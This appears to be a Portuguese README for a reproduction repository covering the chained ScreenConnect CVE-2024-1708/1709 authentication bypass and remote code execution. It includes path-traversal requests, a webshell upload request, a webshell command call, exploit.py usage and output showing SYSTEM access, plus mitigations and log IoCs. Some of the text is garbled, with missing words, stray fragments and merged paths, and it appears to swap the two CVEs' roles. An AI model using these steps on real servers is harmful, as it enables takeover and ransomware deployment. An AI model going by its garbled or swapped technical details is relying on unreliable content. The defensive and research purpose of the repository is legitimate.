Reprodução de cve-2024-1708-connectwise_rce_reproduction
Pontuação CVSS: 8.4 (CVE-2024-1708) – 10.0 (CVE-2024-1709)
CWE: CWE-22 (Path Traversal), CWE-288 (Bypass de Autenticação Usando um Caminho Alternativo)
Software Afetado: ConnectWise ScreenConnect (anteriormente ScreenConnect) ≤ 23.9.7
Descoberto e Reportado: Fevereiro de 2024
Explorado em Ataques Reais: LockBit, Black Basta, Bl00dy e outros afiliados de ransomware
CVE-2024-1708 e CVE-2024-1709 são um par de vulnerabilidades encadeadas no ConnectWise ScreenConnect (anteriormente ConnectWise Control) que, juntas, permitem que um atacante remoto não autenticado obtenha execução remota de código total no servidor ScreenConnect.
CVE-2024-1708 — Bypass de Autenticação via Path Traversal. O endpoint SetupWizard.aspx (e endpoints relacionados de configuração/atualização) não sanitiza adequadamente as sequências de path traversal fornecidas pelo usuário (). Um atacante não autenticado pode escapar do diretório de configuração pretendido e alcançar endpoints que deveriam exigir autenticação. Como o assistente é executado no contexto da conta (Windows) ou (Linux), o atacante herda privilégios elevados.
../CVE-2024-1709 — Upload de Arquivo Irrestrito levando a RCE. Depois que a autenticação é contornada, um atacante pode enviar um arquivo arbitrário .aspx ou outro arquivo executável para a raiz da web. Ao solicitar o arquivo enviado, código arbitrário é executado no servidor.
Essas vulnerabilidades foram massivamente exploradas a partir de 19 de fevereiro de 2024 por múltiplos grupos de ransomware:
| Grupo de Ransomware | Notas da Campanha |
|---|---|
| LockBit | Varredura ampla de instâncias ScreenConnect; usado para implantar o criptografador LockBit em etapas posteriores. |
| Black Basta | Alavancou acesso a MSPs para pivotar para redes de clientes gerenciados. |
| Bl00dy | Campanhas em menor escala visando servidores ScreenConnect sem patch. |
Como o ScreenConnect é comumente implantado por Provedores de Serviços Gerenciados (MSPs) para gerenciar remotamente centenas de endpoints de clientes downstream, um único servidor ScreenConnect comprometido possibilita um ataque à cadeia de suprimentos — todo cliente com um agente conectado a esse servidor ScreenConnect está em risco.
O servidor ScreenConnect expõe um assistente de configuração em:
/SetupWizard.aspx/
Em determinados estados de atualização/reparação, o servidor não impõe autenticação porque pressupõe que o assistente de configuração é a experiência de primeira execução. A falha crítica está na forma como o servidor processa o cookie __Session ou os cabeçalhos Transfer-Encoding / Content-Type ao acessar caminhos sob o namespace do assistente.
Ao enviar uma solicitação para:
/SetupWizard.aspx/../../ScreenConnect/Login.aspx
o path traversal cancela o contexto do "assistente de configuração", enquanto o servidor ainda acredita que o contexto de sessão não autenticada se aplica. O atacante é redirecionado ou recebe páginas como se estivesse autenticado.
Vetor alternativo: Os manipuladores PrepareUpgrade.aspx / PostUpgrade.aspx também não possuem verificações de autenticação e expõem funcionalidade de upload de arquivos.
Depois que o atacante alcança um endpoint autenticado (ou acessa diretamente o manipulador de upload de arquivos no contexto de configuração), ele pode enviar um webshell .aspx malicioso:
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" %>...
------BOUNDARY--
O arquivo é gravado no diretório do aplicativo web (ex.: C:\Program Files\ScreenConnect\Website\). Solicitar o shell enviado o executa sob a identidade do servidor.
SetupWizard.aspx confia que qualquer solicitação sob sua rota faz parte do processo de configuração e deve ignorar a autenticação — mas o path traversal quebra essa suposição.../ ou de travessia via symlink.| Faixa de Versão | Status |
|---|---|
| 23.9.7 e anteriores | Vulnerável |
| 23.9.8 | Corrigido (lançado em 20 de fev. de 2024) |
| 23.9.9 | Corrigido |
| 23.9.10 (mais recente) | Corrigido |
Nota: Servidores ScreenConnect auto-hospedados (on-premise) são os principais alvos. As instâncias ScreenConnect hospedadas pela ConnectWise (nuvem) foram corrigidas antes da divulgação pública e nunca foram vulneráveis.
C:\Program Files\ScreenConnect\/opt/screenconnect/# Check the version
curl -s http://<target>:8040/ | Select-String "ScreenConnect"
Ou acesse a interface web e observe o número da versão no código-fonte da página.
curl -v --path-as-is "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/Login.aspx"
Comportamento esperado em um servidor vulnerável:
curl -X POST "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx" \
-H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
-F "[email protected]"
curl "http://<target>:8040/shell.aspx?cmd=whoami"
O script exploit.py que acompanha automatiza as etapas acima:
usage: exploit.py [-h] -t TARGET [-p PORT] [-c COMMAND] [--ssl]
Exploit CVE-2024-1708/1709 - ConnectWise ScreenConnect Auth Bypass + RCE
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target hostname or IP
-p PORT, --port PORT Target port (default: 8040)
-c COMMAND, --command COMMAND
Command to execute (default: whoami)
--ssl Use HTTPS
Example:
python exploit.py -t 192.168.1.100 -p 8040 -c "whoami"
$ python exploit.py -t 192.168.1.100 -c "whoami"
[*] Target: 192.168.1.100:8040
[*] Using SSL: False
[*] Step 1: Testing path traversal for auth bypass...
[+] Target appears vulnerable! Server version: 23.9.7
[*] Step 2: Uploading webshell...
[+] Webshell uploaded to: http://192.168.1.100:8040/PoCsAccSwLgSdE.aspx
[*] Step 3: Executing command 'whoami'...
[+] Output:
nt authority\system
| Controle | Implementação |
|---|---|
| Regras de WAF | Bloquear solicitações contendo ../ no caminho da URL após /SetupWizard.aspx/ |
| Segmentação de Rede | Colocar o ScreenConnect em uma VLAN de gerenciamento segregada com filtragem de saída rigorosa |
| Controle de Acesso | Restringir o acesso à interface web do ScreenConnect apenas a faixas de IP confiáveis |
| Monitoramento | Alertar sobre solicitações para /SetupWizard.aspx/ de fontes externas ou sobre criação inesperada de arquivos .aspx em ScreenConnect\Website\ |
| MFA | Embora o MFA não impeça isso (o bypass de autenticação ocorre antes do login), aplique-o em todas as contas administrativas para defesa em profundidade |
Procure os seguintes IoCs nos logs do servidor web:
GET /SetupWizard.aspx/../../ScreenConnect/
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
GET /*.aspx?cmd=
| Fonte | URL |
|---|---|
| NVD - CVE-2024-1708 | https://nvd.nist.gov/vuln/detail/CVE-2024-1708 |
| NVD - CVE-2024-1709 | https://nvd.nist.gov/vuln/detail/CVE-2024-1709 |
| Aviso de Segurança da ConnectWise | https://www.connectwise.com/company/trust/security-advisories |
| Huntress Labs - Divulgação Inicial | https://www.huntress.com/blog/mass-exploitation-of-connectwise-screenconnect |
| Vulnerabilidades Conhecidas Exploradas da CISA | https://www.cisa.gov/known-exploited-vulnerabilities |
| Técnica ATT&CK: Serviços Remotos Externos (T1133) | https://attack.mitre.org/techniques/T1133/ |
Este repositório é fornecido apenas para fins educacionais e de pesquisa de segurança autorizada. Testes não autorizados contra sistemas que você não possui ou para os quais não possui permissão explícita por escrito são ilegais. Os autores não são responsáveis pelo uso indevido destas informações.